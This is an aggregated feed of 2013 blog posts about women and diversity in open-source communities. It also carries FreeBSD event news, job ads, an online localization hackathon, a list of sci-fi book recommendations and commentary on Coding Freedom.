There will be a FreeBSD booth (booth #21) in the Expo area at Texas LinuxFest, to be held at the AT&T Conference Center in Austin, Texas on Saturday June 1. Registration is required for this event at a cost of $25 or $55.
Stop by the booth to discuss the Foundation's projects, check out the cool swag, or to make a donation to the FreeBSD Foundation.
This article, about a young man who underwent surgery to look less Asian, is kind of fascinating. For one, I'm not sure what I was thinking he'd look like, but seeing the pictures my first thought was "actually, he looks kind of bi-racial." But also it's interesting to me because I've been told many times since moving here that I don't look that Asian, and it's weird watching people react when I say "that was intentional." (I switched to a different haircut and found I was having less trouble with racist jerks, so I keep getting similar haircuts; I still am pretty clear about my bi-raciality when it comes up.) I scanned the comments and they're all about how sad it is, but do people think that about hair dye? Cosmetics? My hair cut? Weight loss? I don't know that I find it that sad; it's kind of neat that he figured out what would make him happier in his own skin and was able to afford it, and he seems pretty honest with himself about why he's doing it.
And... I don't know, I have some complex thoughts about the whole thing but I just wanted to post the link even though I don't feel like writing an essay to go with it.
If you’re like us, sometimes you get discouraged by all the bad news you hear about women in open technology and culture. It’s hard to keep fighting when it feels like you’re not making progress.
That’s why we organized a panel discussion to focus on the good news at the upcoming Open Source Bridge conference in Portland, Oregon. The topic of the panel is “Diversity in open source: What’s changed in 2012 and 2013.” We will use this panel we will tell some of the many success stories in improving diversity in open source software in the last couple of years.- 20% women attendees at PyCon US 2013
- 85% of JSConf attendees donated to women in open tech/culture
- Up-and-coming new non-profit Black Girls Code ran several workshops
- Conferences with 100% white male speakers are now called out for not trying hard enough to find the best speakers
- Mozilla’s adoption of community guidelines that prevent advocacy of discrimination on Planet Mozilla and other Mozilla forums
- The rapid growth of PyLadies
We are lucky to have a diverse, talented, and funny set of panelists, including:
- Ashe Dryden, consultant and diversity advocate (and keynote speaker for OSBridge 2013)
- Sumana Harihareswara, Engineering Community Manager at Wikimedia Foundation (and keynote speaker for OSBridge 2012)
- Lukas Blakk, Build and Release Engineer at Mozilla
- Asheesh Laroia, Executive Director of OpenHatch
- Liz Henry, Bugmaster at Mozilla
Ada Initiative executive director Valerie Aurora will be moderating.
Can’t be there in person? The session will be recorded and available for free on the OSBridge web site.
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported.
The Ada Initiative | The Ada Initiative | 2013-05-23 17:28:49
Duties and Responsibilities
The University Technology Office (UTO) Development team at ASU is seeking a motivated web application developer to join our high-performing team. Duties and responsibilities will include:
Developing web sites using PHP/Drupal; interacting with project managers, senior developers, quality assurance staff and customers; supporting customers in their use of our software and systems; learning and improving tools and techniques established by the development team; gaining knowledge of existing community source and custom-developed software.
Minimum Qualifications
Associates degree in Business, Communications, Information Technology, Computer Animation, Graphic Design or closely related AND two (2) years web content, graphic design or electronic publishing experience; OR, Any equivalent combination of experience and/or education from which comparable knowledge, skills and abilities have been achieved.
Desired Qualifications
Demonstrated knowledge of: application development (i.e., PHP and Drupal) Experience with: Drupal Module & Theme development and use of hook system; Javascript, jQuery, Ajax; developing with a DBMS such as MySQL or Oracle; general database design and writing SQL; subversion, Mercurial or other code repository system; Jira or other issue tracking system; mobile and/or responsive web design; XHTML / HTML5, CSS; Linux internals, editors, shellsGraphics manipulation for the web (Photoshop, Illustrator); Front-end Flash development; SimpleTest framework, Firebug; aptitude and motivation; Oral and written communication skills. Evidence of effective verbal and written communication skills.
Posted Rate of Pay
$44,667-$58,000 per year; DOE
Excellent benefits, including tuition waver
Close Date
May 31, 2013 11:59pm MST
Apply
To apply, please go to https://www.asu.edu/go/employment/?auth=guest&jobid=30928&SiteId=1&Posti...
Women in Drupal | Women in Drupal (Formerly DrupalChix) | 2013-05-23 16:17:03
Recently a company I know has chosen as a new leader of one of his most important project a very arrogant person.
I had the opportunity to work with him some times ago, and all the people that met him agree with me about his arrogance.
This man has indubitably a great know-how, he’s brilliant and talented for his work (but maybe less than others) but he is very able to increase his self-branding.
He built in times an image of solid professional, built not on his 20 years experience but on his bad temperament, on his arrogance, his language often remarkable when not openly rude.
The question is: he’s been chosen for or despite his bad temperament?
Some times ago I read an interesting story: a leader of a great company asked to a marketing guru if the fact his company wasn’t as big as Apple depended on he was an humble leader.
The answer was that Apple was a big company in spite of Jobs’ bad temperament.
In the highly controversial Good to Great book, the author, James C. Collins examines the performance over 40 years of 11 companies that became great.
The first of seven characteristics of companies that went “from good to great” is to have an inspired but humble leader.
Although many companies and many project have a strong leader, in my mind the my way or the highway approach is located just a step away from Godfather’s style.
I believe that a leader ought to be flexible, to be a good listener and not only a screaming monkey, he should be ready to learn from his mistakes, he should be aware to be not perfect, but perfectible.
In a nutshell, a good leader is charismatic and inspiring but refuses to be bossy.
A good example of charismatic humble leader is without doubt Mr. Barack Obama, a bossy leader is – unfortunately – Mr Silvio Berlusconi.
To be driven to do what’s best for the company, to be enthusiastic and crowd enchanter is quite different from state own authority with arrogance: in my humble opinion, a bad temperament often could hide skills and talents or – worse – cover a lack of them.
In reverse, an overweening attitude, very often shows an inner weakness and a intimate need to be reassured that immediately ceases when that leader lost his/her power.
That said, if mostly researches demonstrate that good-to-great leaders, it turns out, are humble, why so many bully leader there around?
Be inspiring. Don’t be overwhelming. Be a leader.
The FreeBSD Foundation sponsored 7 attendees of BSDCan 2013. The first trip report is from Eitan Adler, a doc committer, who attended the BSDCan Developers Summit. Eitan writes:
I arrived Tuesday night and met Colin Percival at the airport. After dropping off luggage at the university, I met up with some of the other developers.
The first day, I attended the "Netflix and FreeBSD" session run by Scott Long. It was interesting to see what kind of problems users of FreeBSD ran into when running at scale.
For the afternoon working group, I chose to attend the "ports and packages" session. A variety of topics were discussed but the most discussed topic was cross-building ports across both versions and architectures. This is a topic that came up repeatedly in prior
discussion and that would come up again in other working groups, so it was good to know about the latest work in this area.
The vendor summit came next. In the past, the vendor summit focused on kernel work but this one revolved around the user land. This is particularly important to me as I run FreeBSD on my laptop as my primary development machine.
At night I spent some time in the hacking lounge or other shared areas meeting people. It was very nice to be able to meet the people I've been talking to for the past three years.
On Thursday I spent my morning in the "Desktop" session. Getting FreeBSD running well on desktops is critical in attracting new developers in the future. Kris Moore, from PCBSD, spoke a lot about the customizations that they made. I pressed to share the improvements
that could be committed upstream. Other issues discussed were packaging for the desktop and a graphical boot loader for FreeBSD/PC-BSD.
The afternoon session for me was "Documentation": a significant portion of the discussion was about the future print edition of the book and what sections need to be updated and improved. In particular, how we could get more source committers involved in writing documentation. We also discussed how to work going forward with other teams that need access to the documentation (e.g., portmgr and postmaster). We also touched on the FAQ, translations, and the new toolchain. The final topic we discussed was the automated QA and statistics tools we have (and don't have) and how we could improve in that area.
After dinner I did some work at the documentation hackathon. I spent the remainder of the night at the hacker lounge discussing kernel internals with Peter Wemm, Sean Bruno, and others.
Unfortunately, I had to leave prior to the conference itself, but I felt that meeting people at the developer summit was well worth the time spent.
The FreeBSD Foundation is pleased to announce Ed Maste's new role as the Foundation's part-time Director of Project Development. Ed has served on the Foundation's board for two years, and has stepped down in order to accept this new position.
In this position, Ed will manage the Foundation's sponsored work, including projects funded under specific grants, operational support and project development undertaken by the Foundation's permanent technical staff. Working with the Foundation's Board of Directors, Ed will identify and document specific areas of future project work interest. This roadmap planning will include coordination with FreeBSD consumers and the FreeBSD community.
"2012 represented an inflection point in the Foundation's history,'' said Justin T. Gibbs, President of the FreeBSD Foundation. "The Foundation has a stated goal of investing in permanent staff through 2013. With Ed taking on this new position I'm excited by the Foundation's increased capacity to manage our project development and operational support.''
Ed has over ten years of experience in companies building products on FreeBSD, in both technical and managerial roles. He resides in Kitchener, Ontario, Canada.
An important part of supporting women in open tech/culture is raising awareness of the problems that face them. We’re excited that the Ada Initiative was interviewed for an article in the June 2013 issue of Marie Claire, an international women’s magazine. We reached nearly 1,000,000 new people through the print edition alone.
Written by veteran feminist journalist Alissa Quart, “When Geeks Attack” focuses on harassment of women in technology, rounding up many of the high-profile incidents in recent years as well as some disturbing statistics. Several women in open tech/culture were interviewed for this article, including Valerie Aurora, Ada Initiative Executive Director, Alicia Gibb, president of the Open Source Hardware Foundation and Ada Initiative advisor, and Valerie Bubb Fenwick, an open source developer, among many other women.By featuring so many different women in open technology and culture, this article accomplishes two important goals. First, it sends the message that harassment of women in these fields is a major cause of women leaving them – or never joining in the first place. Second, it gives Marie Claire readers several different female role models for women in technology. For many women, the opportunity to make the world a better place while also being able to support themselves and their families is a powerful draw towards careers in open tech/culture, as opposed to technology in general. Women deserve equal access to all careers regardless of their monetary rewards: computer programming, construction work, working as an executive, serving in the military, playing professional sports, or driving a bus.
We were thrilled to work with the author, Alissa Quart, because of her long history of articles and books on feminism and free culture, such as What Does Free Culture Cost? and The Age of Hipster Sexism. Her latest book, Republic of Outsiders: The Power of Amateurs, Dreamers and Rebels, focuses on “idiosyncratic individuals” who approach social justice activism in creative ways, including transgender activists, advocates for neurodiversity, and animal rights activists.
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported.
The Ada Initiative | The Ada Initiative | 2013-05-23 00:20:54
WFS-india, a voluntary organization has been created a month back by some enthusiastic people wanting to see some gender parity in FOSS world. The group decided to organize a Localization Hackathon event on the eve of Cultural Freedom Day on 20th may, 2013 from 08:00pm to 09:30pm at the above mentioned channel.
The event aimed to get participants localize a few strings from ayny of Mozilla, Fedora or VLC Media Player. It was attended by seven participants from across the globe . More details about the participants are given below in the chat log. The session was coordinated by Chandan Kumar with the assistance of Biraj karmakar and Runa Battacharya. Amani_glugcal, kaustavdm, Priyankanag also helped in the event.
People learnt what is localization and how to get started in any language by using transifex and pootle server. They were asked to contact the language co-rodinators via mailing lists if they face any issue. Due to lack of time the participants could not start translating any string.
It was realized that it is not possible to hold a full localization workshop within a short span of 1 hour. Participants faced various problem with one not being able to log in to one not finding her language in the list of languages.
But overall it was a nice event where people took out time from their schedule and tried to contribute to FLOSS.
* The chat log of the event can be found at – http://fpaste.org/13234/
* This report has been prepared from the original report written by Chandan Kumar.
* The next meeting of the group is at #wfs-india on freenode on 27 May, from 9:30pm IST.
Satabdi Das | My foray into programming! | 2013-05-22 16:28:39
The facts on girls in information technology.
A farmer on a bus, and software localisation.
A Facebook scholarship for women studying engineering to attend the Grace Hopper conference this year.
I've been thinking about maybe doing an "adventure" tour this autumn -- something about a week long, with hiking, in North America. REI has several. Options, options, options.
US citizens: talk to the TSA about "airport security".
Someone's using The Architecture of Open Source Applications in a university curriculum!
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-22 14:47:13
Several people recently liked my Geek Feminism post on learning to "scratch your own itch".
... somewhere along the way I got the impression that people usually get into open source via "scratching their own itch," and I mixed up prescriptive and descriptive to boot.... I really got stuck in when I saw a clear unmet need for documentation even though I wasn't personally going to use it. Sometimes I thought I was inferior -- surely I ought to have been thinking up my own projects, improving my work environment, and writing things that would help me out, thus getting me into a virtuous circle of learning?...You might enjoy it. Some other stuff I've written elsewhere:So in the long run one answer to this is that we have to work to make sure everyone has agency and feels it, their whole lives. But, given that some of us struggle with remembering our agency, and that it’s fine to have different learning styles, here are some ideas for priming the idea pump, or for alternate pathways into learning and getting into open stuff....
My sister and I are different and that's okay. We've never had a society where -- from birth to retirement -- the average girl and the average boy has experienced about the same amount of genuine encouragement in STEM. Let's try it!
On teasing-as-bonding. It takes a tremendous amount of trust and ease, or unspoken intracultural knowledge, to assume that someone else's mockery means "I like you, stick around." It's hard enough to get that message across *in person*; across timezones and cultures, and stripped down to Unicode, it's roulette.
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-22 14:40:40
Mary Anne Mohanraj started one of the Internet’s first blogs, back in the wild days of 1995 when we still called them “Online Journals,” and everyone had to do all their html by hand.
She founded the award-winning speculative fiction magazine Strange Horizons, and the Speculative Literature Foundation, which promotes literary quality in speculative fiction. She has made a lot of her own short fiction available for free on her website.
She’s also a co-founder of the Carl Brandon Society, which works to “increase the racial and ethnic diversity in the production of and audience for speculative fiction.” Her essays about race in fandom have had a substantial impact on my own understanding of racial privilege. For folks looking for a solid introduction to these issues, I strongly recommend her two guest-posts on John Scalzi’s Whatever on race in SFF fandom: Mary Anne Mohanraj Gets You Up to Speed, Part I and Part II.
Mohanraj has an essay in Queers Dig Time Lords, which is coming out on June 4th. Her latest book, illustrated Science Fiction Erotica The Stars Change, is currently available for pre-order. It’ll be released on October 1st.
The Ada Initiative is pleased to welcome New Relic as the newest sponsor of AdaCamp San Francisco, our conference dedicated to increasing women’s participation in open technology and culture. New Relic is the third AdaCamp supporting sponsor.
New Relic makes tools that allow developers of web and mobile apps to monitor and analyze the performance of their applications, all the way from user experience, through servers, and down to the line of application code. New Relic’s monitoring tools and platform support Ruby, PHP, .Net, Java, Python, iOS, and Android apps. New Relic has offices in Portland, San Francisco, and Seattle, and they are hiring! See New Relic’s list of job openings to learn more.
On behalf of women in open technology and culture, we thank New Relic for their generous support.
Why AdaCamp?
Why is AdaCamp so important to women in open technology and culture? Because AdaCamp measurably increases women’s participation in open technology and culture – in an environment that more often pushes women towards the door.Most women who attend AdaCamp “lean in” to their careers and community work after AdaCamp. In our post-conference survey, 92% of survey respondents said AdaCamp increased their commitment to open technology and culture.
AdaCamp also increases women’s professional connections: 100% of survey respondents said AdaCamp increased their network in open tech/culture. Several AdaCamp attendees landed new jobs in open tech/culture through the connections they made at AdaCamp, and at least two won prestigious internships with Code for America and the GNOME Outreach Program for Women. One of the benefits of attending AdaCamp is joining the AdaCamp alumni mailing list, which members use to recruit job applicants, advertise events, and share career advice.
AdaCampers learn new skills at AdaCamp as well. Past AdaCamps included tutorials in Wikipedia editing, Python programming, and other open tech/culture topics. The tutorials were so popular that we are expanding them this year, and adding a “hackathon” (for all open tech/culture projects, not just coding).
Applications to AdaCamp are now closed.
Sponsorship
Your organization has the opportunity to join Automattic in sponsoring AdaCamp San Francisco, and reach 250 women leaders and future leaders in open technology and culture. Contact us at sponsors@adainitiative.org for more information about becoming a sponsor.
We thank our gold level sponsors Mozilla, Automattic and Google Site Reliability Engineering; and our silver level sponsors Linux Foundation, Red Hat, Intel, and Puppet Labs; for their support of AdaCamp San Francisco.
The Ada Initiative | The Ada Initiative | 2013-05-22 05:22:47
We haven’t had an open thread in a looooong time, partly due to workload. That is: there are two steps (1) find something cute or fun (2) post open thread. Increasingly rarely do the two experiences coincide for us!
So I’m setting up a system so that you can feed the open thread monster: if you see something that hits most of (1) women-centric (or not-men-centric) (2) fluffy, fun, silly, cute or beautiful (3) geeky (4) feminist, or at least not anti-feminist, tag it “gffun” on Pinboard or Delicious and when someone here wants to open thread, they’ll have some ideas to start with. Seen anything in the last week or two? Since it’s been a while, you’re also welcome to post it in comments here.
Feed the monster!
This is itself an open thread for comments on any subject fitting our policy!
About open threads: open threads are for comments on any subject at all, including past posts, things we haven’t posted on, what you’ve been thinking or doing, etc as long as it follows our comment policy. We’re always looking for fluffy, fun, silly, cute or beautiful open thread starters, please post links to Pinboard or Delicious with the “gffun” tag.
What scifi book would you recommend to a non-scifi reader? Catch: It has to be one I haven’t read. (For a book group.)
— Stormy (@storming) May 17, 2013
I asked on Twitter and Facebook and it started a lively debate. Add your thoughts below!
Here were the most recommended and discussed books:
- Ender’s Game is a classic that has probably been read by almost all scifi fans. Jan Nieuwenhuizen, Filip Hanik, Jon Lotz and Debbie Moynihan all recommended it. As Debbie pointed out, it will be a movie this year too and will likely be read by a much wider audience. The government is recruiting children to be part of their army. They are trained together and play mock battles. The main character, Andrew “Ender” Wiggin, is a child genius who struggles growing up in a school for soldiers – growing up with a bunch of other kids can be lonely.
- Iain Bank’s books were highly recommend and they were by far the most discussed books. Debate was around which of the books was the best to start with: The Player of Games, Use of Weapons or Consider Phlebas. Sean Kerner, Emmanuele Bassi, Ross Burton, Luis Villa and Hubert Figuière all participated in the discussion. I think my book group should thank Havoc Pennington though. He said ”as long as
storming knows it’s likely to be the most revolting thing anyone’s ever read” made me rethink Iain Bank as a book club recommendation. I did add his books to my own wishlist though. - Old Man’s War by John Scalzi was recommended by Laura Dragan and Emmanuele Bassi. This military sci fi book is really about humanity. The 75 year old protagonist signs up for the military in exchange for a new, young and enhanced body. Scalzi is often compared to Heinlein – I love both their books.
- Neuromancer was recommended by Emiliano Figueroa and kbedell. I really like William Gibson but I find the way his players plug into and travel through cyberspace a bit confusing at times. (Although I totally want to try it!) I don’t think I’d recommend them to people who don’t read much scifi but maybe I’m underestimating their readability.
- Debbie Moynihan and Rikki Endsley recommended Ready Player One. I haven’t read it but it sounds like it’s about a future where most people spend their time escaping in virtual reality playing games – including a game that’s supposed to contain the winning lottery ticket. It’s extremely well rated on Amazon.
- Mary Beth recommended Wool Omnibus and full heartedly agree. I read the whole series in a row and was thinking the whole time it would be a great book for those not used to reading scifi to experience some of it. The Wool Omnibus. The first part of Wool is free for Kindle right now. (Be warned though, you will be hooked and have to buy the rest of them.)
- Ross Burton and Luis Villa both liked Ken MacLeod’s Fall Revolution series but warned it is not easy reading.
And here are all the other great recommendations, many classics with a few lesser know but (at least for the ones I’ve read) great books:
- Dune was recommended by Frederic Crozat.
- Suzy Millett Bullett recommended The Prisoner of Cell 25. (And I discovered I’d bought this book two months ago and haven’t read it yet. I bumped it up!)
- Debbie Moynihan recommended James Patterson’s The Angel Experiment as an easy read for those not used to sci fi. (And I didn’t realize it had turned into a series. Adding more to my wishlist.)
- Emiliano Figueroa recommended The Songs of Distant Earth.
- Mike Olson recommended short stories like Time Considered, Aye, and Gomorrah, and We in Some Power’s Employ.
- Rikki Endsley recommended The Handmaid’s Tale. I thought this one would be a great one for my book club. I even thought about pretending I hadn’t read it.
- Paul Christofanelli recommended Manifold: Time by Stephen Baxter.
- Michael Schulz recommended the classic The Ultimate Hitchhiker’s Guide to the Galaxy. I think humorous science fiction can often be bizarre to non scifi readers.
- Brian King recommended A Scanner Darkly.
- Flowers for Algernon was suggested by Neil Levine. I agree it’s an awesome book. My book club has had a streak of lost their memory, lost who they are type books though. Plus I’ve read it.
- Red Mars by Kim Stanley Robinson was suggested by Perry Ismangil.
- I Am Legend was suggested by Neil Levine.
- Sean Kerner suggested Asimov’s Foundation. I’ve been thinking about rereading that series. As soon as I get through the rest of these great books that I haven’t read yet.
- Neil Levine suggested The Forever War by Joe Haldeman. It’s similar to Old Man’s War but instead of old people getting young bodies to fight aliens, young people go fight aliens and Earth ages without them.
- Callahan’s Crosstime Saloon by Spider Robinson was suggested by furicle. I remember really enjoying reading this series but I can’t say I remember many specifics at all.
- furicle also suggested Armor by John Steakley.
- andreasn1 sugggested The Other Side Of The Sky (And he’s talking about the one by Arthur C. Clarke not the The Other Side of the Sky: A Memoir by the woman from Kabul. I think.)
- as well as I, Robot. The book where Asimov’s 3 laws of robotics were developed. There was also a movie made with Will Smith.
- Emmanuele Bassi suggested Accelerando
- and Robopocalypse.
- Ross Burton suggested The Night Sessions.
- Luis Villa suggested Wiliam Gibson’s Pattern Recognition. I really enjoyed this one. It made me think of branding in a completely different light.
- Luis Villa also suggested John Varley’s Steel Beach.
- Federico Mena Quinte suggested a different John Varley book, The Persistence of Vision. (It looks like you may have to hit the library or the used bookstore to find this one.)
- as well as Murakami’s Hard-Boiled Wonderland and the End of the World. (What an awesome name for a book!)
- Deb Nicholson suggested Eifelheim by Michael Flynn
- as well as Connie Willis’s books on time travel To Say Nothing of the Dog (funny, according to Deb) and Doomsday Book (darker).
What would you add to the list?
Which ones would be best for people not used to reading science fiction?
I have a ticket for DrupalCon Portland for sale at the early bird price of $400.00 USD. Circumstances changed and I'm not able to attend. Contact Katy@seascapewebdesign.com if you would like to buy my ticket.
Women in Drupal | Women in Drupal (Formerly DrupalChix) | 2013-05-20 20:42:13
Women in Free Software India is organizing an online Localization Hackathon for women on Monday 20 May 2013 that is Cultural Freedom Day. Our goal is to include more women in Free and Open Source Software.This event will be good for anyone new or not yet aware of FOSS and it doesn’t require any programming experience. Please join us from 8pm to 9pm tomorrow at #wfs-india channel on http://webchat.freenode.net/ to participate.
Here’s a cool introduction page for the event which you may share along with the poster – http://wfs-india.github.io/
Satabdi Das | My foray into programming! | 2013-05-19 17:37:10
My typical morning news routine is listening to NPR’s Morning Edition while catching up on Twitter from the night before – which can be a hilariously jarring experience. Take the news cycle about removing the no-combat rule for women in the U.S. military, in which dozens of reporters uncritically repeated various military units’ contention that women were not physically strong enough for their combat positions.
I was listening to one such story when I read a tweet from Sarah Robles, the Olympic weightlifter. She often tweets things like:
Front squatting 165 kgs/363 lbs is a good way to wake up in the morning—
Sarah Robles (@roblympian) May 15, 2013
I’ll bet most of Seal Team 6 can’t front squat 363 lbs. Somehow, they assassinated Osama Bin Laden anyway (maybe with the help of, I don’t know, guns and helicopters?).
Or take this one, recently I had the pleasure of watching a strong woman circus act at the Kinetic Arts Center in which the performer climbed – no, rocketed – up a 25 foot long rope, hand-over-hand (look, no feet, ma!), while smiling and holding a girlish pinup pose. She then proceeded to demonstrate vaccuuming and other housewifely activities using an entire adult man as a prop.
And then today I read about Carla Esparza, a 5-foot-1 mixed martial arts champion who won the Invicta Fighting Championships in the “Straw-weight” division. When she’s not competing, she usually trains with men – and beats the crap out of them.
But those are Olympic athletes, circus performers, and martial arts champions – women so rare we can ignore them, right? Then how about my own college weightlifting experience, where I regularly leg pressed twice the weight that my male classmates used? I only ever saw one person at that gym leg press more than I did, and he won the local race to the top of a nearby mountain the following year. As anyone who has ever met me will know, I’m hardly an athlete, but when it comes to physical strength, I have some genetic advantages over many men.
Sure, women are, on average, not as strong as men. But strength follows a bell-curve distribution in both sexes, and for all but the most incredibly elite steroid-fueled few men, you can find women who are just as strong. Part of our misconceptions about women’s physical strength is that literal strong women sometimes don’t look like our society’s current stereotypes of “fit women.” If you saw Sarah Robles walking down the street, you’d probably peg her as a couch potato, never knowing that she could bench press the athletic-looking guy walking past her.
But military service isn’t about looks, it’s about ability to get the job done (or it should be). Ironically, the military is already having to turn down more than 75% of applicants – because the (mostly male) recruits of today aren’t fit enough to pass the basic physical fitness tests after a lifetime of too many video games and not enough running around outside.
If this is the competition, women don’t need to be Olympic athletes or martial arts champions to serve in all military combat positions. They just need to train, be determined, and not be kept out by the old boys’ club.
Tagged: feminism, military
(Sorry this is so late! Life kept happening, and then the blog went down :)
Since this is a book that deserves and rewards attention, and since we all seem to be reading it slowly as a result, let’s just discuss it one section at a time. From the introduction:
Free software hackers culturally concretize a number of liberal themes and sensibilities— for example, through their competitive mutual aid, avid free speech principles, and implementation of meritocracy along with their frequent challenge to intellectual property provisions.
(I’ll get to that “meritocracy” bit in good time.) One of the great points Biella makes early on is that hacking, while recognizably part of the liberal tradition, uses liberal techniques to critique liberalism itself. This restless contrarianism showed up earliest around IP, of course:
The expansion of intellectual property law, as noted by some authors, is part and parcel of a broader neoliberal trend to privatize what was once public or under the state’s aegis, such as health provision, water delivery,
and military services. “Neoliberalism is in the “first instance,” writes David Harvey (2005, 2), “a theory of political economic practices that proposes human well- being can be best advanced by liberating entrepreneurial freedoms and skills within an institutional framework characterized by strong property rights, free markets, and free trade.” As such, free software hackers not only reveal a long- standing tension within liberal legal rights but also offer a targeted critique of the neoliberal drive to make property out of almost anything, including software.
Oh, the 1990s. On the one hand you had a set of corporatist states seeking to exercise ever-more-restrictive controls around, for example, the precious, precious image of Mickey Mouse and music of Metallica; on the other hand you had a ragtag crew of approximately-libertarian hackers still simmering over the injustices handed down in the Unix wars. In between you had every other imaginable nuance of position. Shenanigans, naturally, ensued, and both Biella and I were on hand for the fun. I met her at various Bay Area Linux User Group and EFF events while she was conducting fieldwork in San Francisco around the turn of the millennium.
Those were glory days. The brilliance of Richard Stallman’s GPL was just beginning to make itself apparent. The GPL has radically transformed both the culture and the economics of software in ways that will continue to play out for the foreseeable future. Biella justly celebrates the terrific humor of hackers and hacking – I don’t think I really understood software, or my life partner, until I first looked into the Jargon file – and the GPL is one of hacking culture’s best and subtlest and most effective jokes.
Stallman approached the law much like a hacker treats technology: as a system that by virtue of being systemic and logical, is hackable. In other words, he relied on the hacker technical tactic of clever reuse to imaginatively hack the law by creating the GNU GPL, a near inversion of copyright law… By grafting his license on top of an already- existing system, Stallman dramatically increased the chances that the GPL would be legally binding. It is an instance of an ironic response to a system of powerful constraint, and one directed with unmistakable (and creative) intention— and whose irony is emphasized by its common descriptor, copyleft, signaling its relationship to the very artifact, copyright, that it seeks to displace.
What the GPL and the Jargon file share with the code itself is the ways in which they resemble literature – celebrating and codifying a culture – and the ways in which they resemble law – functioning as the constitutions of public spaces of the mind. (I think of the Unixes as a kind of Colossal Caves, only somehow more real.) And this, ultimately, is why we talk about coding freedom, and why the freedom part matters. Software systems are at once frontiers, meeting places and societies.
In the words of one programmer who helped me (a novice user) fix a problem on my Linux machine, “Unix is not a thing, it is an adventure.”
That’s the way I see Debian: alive.
This book is reminding me how much I love it here, but it’s also refreshingly blunt about hacker culture’s failings:
Along with the awkwardness I experienced during the first few weeks of fieldwork, I was usually one of the only females present during hacker gatherings, and as a result felt even more out of place.
That said, the answer is right there staring us in the face. Just as hacker culture uses liberal techniques to reform liberal techniques, geek feminists can and do hack hacker culture.
During cons, participants make crucial decisions that may alter the character and future course of the developer project. For example, at Debconf4, the few women attending, spearheaded by the efforts of Erinn Clark, used the time and energy afforded by an in- person meeting to initiate and organize Debian Women Project, a Web site portal and IRC mailing list to encourage female participation by visibly demonstrating the presence of women in the largely male project. Following the conference, one of the female Debian developers, Amaya Rodrigo, posted a bug report calling for a Debian Women’s mailing list, explaining the rationale in the following way:
From: Amaya Rodrigo Sastre
To: Debian Bug Tracking System
Subject: Please create debian- women mailing list
Date: Tue, 01 Jun 2004 22:12:30 +0200
Package:lists.debian.org
Severity: normalOut of a Debconf4 workshop the need has arisen for a mailing list oriented to debating and coordinating the different ways to get a larger female userbase. Thanks for your time :- ).
Given enough eyes, all bugs are shallow, right? I’m trying to feel my way towards an evidence-based geek feminism, in which my ideas and practices are continually tested and assessed for usefulness or otherwise. Maybe the trick is to be woman enough to cull my ideas when they are bad?
For the last couple of months I’ve been working for Infoxchange, a not-for-profit that provides technology to other not for profit. I’ve been working in the webapp development team, where we mostly work on webapps in the health and community sector using both Perl (for the older stuff) and Python/Django (for the newer stuff).
The government didn’t really work out for me, so this is a nice change. It’s relaxed, people wear jeans to work. We have fair trade tea and coffee and a delivery of CSA fruit every week.
It is busy though. We’ve got a lot going on, and not enough people to do it, so we’re looking for more. So if you’re a committed, talented Perl, Python or Web/Javascript programmer or devops who is in (or willing to move to) Melbourne, who wants to make a difference, you should get in touch with me. The pay is good (you will not be working for peanuts) and the team is fun.
We love open source, we contribute upstream, we have an organisation Github account. You can run what you want on your desktop. Developers have technical ownership over their work. Development is Agile.
Some technologies we love are Perl, Mojolicious, Python, Django, Javascript, jQuery, Bootstrap, Less, NodeJS, AngularJS, Github, Puppet, Debian and PostgreSQL. If you love any of those too, you should totally get in touch. If you love more technologies, bring those along too.
We'll be having our monthly talks and hackfest on Saturday, May 25th at 12pm at Pumping Station: One (3519 N. Elston in Chicago). William Giokas will be giving a talk on systemd, and George Lesica is tentatively scheduled to talk about R. Mike McCune of the Windy City LUG recently added our group to his Meetup page, so you can RSVP there if you like. Talks are usually ~1 hour each, and we will be around till 5pm-ish hacking on projects. Come by and say hello!
- Sometimes I Feel Like I am a Fake Geek Girl: “I know that I’m not really faking anything as I’m pretty up front with the holes in my experience, but sometimes I feel that I shouldn’t even call myself a geek because I’m missing so much ‘critical geekdom’. It feels like geek culture is a competitive and not-inclusive space with invisible hierarchies.”
- How to draw sexy without being sexist: “‘Sex appeal ONLY comes into play when the characters PERSONALITY dictates that as a factor,’ says Anka. ‘The CHARACTER must be first and foremost the inspiration and guideline for all the decisions made when trying to design the clothing.’”
- The Great Debate: Comic about the misguided idea that disabling youtube comments to forestall harassment is censorship.
- ‘Brave’ creator blasts Disney for ‘blatant sexism’ in princess makeover – Marin Independent Journal: “Disney crowned Merida its 11th princess on Saturday, but ignited a firestorm of protest with a corporate makeover of Chapman’s original rendering of the character, giving her a Barbie doll waist, sultry eyes and transforming her wild red locks into glamorous flowing tresses. The new image takes away Merida’s trusty bow and arrow, a symbol of her strength and independence, and turns her from a girl to a young woman dressed in an off-the-shoulder version of the provocative, glitzy gown she hated in the movie.”
- The Latest on the Women in SFF Debate: Roundup of links about the recent debate on recognition for female authors of sci-fi/fantasy.
- Using Python to see how the NY Times writes about men and women: “If your knowledge of men’s and women’s roles in society came just from reading last week’s New York Times, you would think that men play sports and run the government. Women do feminine and domestic things. To be honest, I was a little shocked at how stereotypical the words used in the women subject sentences were.”
- Queer in STEM: “A national survey of sexual diversity in science, technology, engineering, and mathematics.”
- This 17-Year-Old Coder Is Saving Twitter From TV Spoilers: “Jennie Lamere, a 17-year-old girl, invented the software last month—and won the grand prize at a national coding competition where Lamere was the only female who presented a project, and the only developer to work alone.”
- A Woman’s Place: “Now, almost 50 years after the birth of an all-female technology company with radically modern working practices, it seems remarkable that the same industry is still fumbling with the issue of gender equality.”
–
You can suggest links for future linkspams in comments here, or by using the “geekfeminism” tag on delicious or pinboard.in or the “#geekfeminism” tag on Twitter. Please note that we tend to stick to publishing recent links (from the last month or so).
Thanks to everyone who suggested links.
“What about 2013? So far, so good. I have been working for Meltwater for more than a month now. I am learning a lot, from Ruby to SCRUM, and having fun. Thanks Meltwater :)” from http://meltwater.github.io/blog/2013/05/14/developer-spotlight-camila-ayres/ Filed under: Cotidiano, My stuff Tagged: meltwater![]()
